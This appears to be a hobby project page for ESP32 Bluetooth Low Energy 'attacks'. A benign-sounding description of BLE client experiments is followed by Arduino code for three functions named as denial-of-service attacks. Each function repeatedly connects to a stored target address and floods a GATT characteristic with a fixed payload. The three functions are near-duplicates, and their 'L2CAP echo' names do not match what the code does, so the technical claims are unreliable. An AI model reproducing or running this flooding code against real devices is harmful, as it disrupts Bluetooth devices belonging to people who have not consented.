ESP32 - Bluetooth Attacks

---

ESP32 BLE Client Experiments

This project explores BLE client functionality on the ESP32 using the Arduino BLE library. It focuses on establishing connections to nearby Bluetooth Low Energy devices, discovering services and characteristics, exchanging data, and managing connection lifecycles. The code served as an experimental platform for understanding BLE communication and testing interactions with compatible devices.

Features

• BLE client initialization and connection management.
• Discovery of remote BLE services and characteristics.
• Read and write operations against GATT characteristics.
• Automatic connection and disconnection handling.
• Configurable target device selection using a stored Bluetooth address.
• Reusable framework for BLE communication experiments.

Reusable Components

The project contains reusable code for creating BLE clients, connecting to remote devices, discovering GATT services, accessing characteristics, exchanging data, and properly managing connection state. These components can be adapted for projects involving BLE sensors, IoT devices, home automation, or custom Bluetooth peripherals.

Future Improvements

Future revisions could add automatic device discovery, configurable service selection, improved error handling, encrypted communication where supported, asynchronous connection management, and a modular architecture for supporting multiple BLE device profiles.

#include <BLEDevice.h>
#include <BLEUtils.h>
#include <BLEScan.h>
#include <BLEAdvertisedDevice.h>
#include <BLEClient.h>

const char* serviceUUID = "00001801-0000-1000-8000-00805f9b34fb";
const char* characteristicUUID = "00002A00-0000-1000-8000-00805f9b34fb";

String stored_bluetooth_mac = "";

void bleL2CAPEchoDoS() {
    if (stored_bluetooth_mac.length() == 0) return;

    BLEClient* pClient = BLEDevice::createClient();
    uint8_t data[16] = {0x00}; // payload

    for (int i = 0; i < 500; i++) {
        if (!pClient->isConnected()) {
            pClient->connect(BLEAddress(stored_bluetooth_mac.c_str()));
        }

        BLERemoteService* pService = pClient->getService(BLEUUID(serviceUUID));
        if (pService != nullptr) {
            BLERemoteCharacteristic* pChar = pService->getCharacteristic(BLEUUID(characteristicUUID));
            if (pChar != nullptr) {
                pChar->writeValue(data, sizeof(data));
            }
        }

        delay(20);
    }

    if (pClient->isConnected()) {
        pClient->disconnect();
    }
}

void bleL2CAPEchoConnectionRequestDoS() {
    if (stored_bluetooth_mac.length() == 0) return;

    BLEClient* pClient = BLEDevice::createClient();
    uint8_t data[16] = {0x02, 0x00, 0x06, 0x01, 0x00, 0x01, 0x00};

    for (int i = 0; i < 500; i++) {
        if (!pClient->isConnected()) {
            pClient->connect(BLEAddress(stored_bluetooth_mac.c_str()));
        }

        BLERemoteService* pService = pClient->getService(BLEUUID(serviceUUID));
        if (pService != nullptr) {
            BLERemoteCharacteristic* pChar = pService->getCharacteristic(BLEUUID(characteristicUUID));
            if (pChar != nullptr) {
                pChar->writeValue(data, sizeof(data));
            }
        }

        delay(20);
    }

    if (pClient->isConnected()) {
        pClient->disconnect();
    }
}

void bleL2CAPEchoResetDoS() {
    if (stored_bluetooth_mac.length() == 0) return;

    BLEClient* pClient = BLEDevice::createClient();
    uint8_t data[16] = {0x02, 0x00, 0x06, 0x01, 0x00, 0x01, 0x00};

    for (int i = 0; i < 500; i++) {
        if (!pClient->isConnected()) {
            pClient->connect(BLEAddress(stored_bluetooth_mac.c_str()));
        }

        BLERemoteService* pService = pClient->getService(BLEUUID(serviceUUID));
        if (pService != nullptr) {
            BLERemoteCharacteristic* pChar = pService->getCharacteristic(BLEUUID(characteristicUUID));
            if (pChar != nullptr) {
                pChar->writeValue(data, sizeof(data));
            }
        }

        delay(20);
    }

    if (pClient->isConnected()) {
        pClient->disconnect();
    }
}

---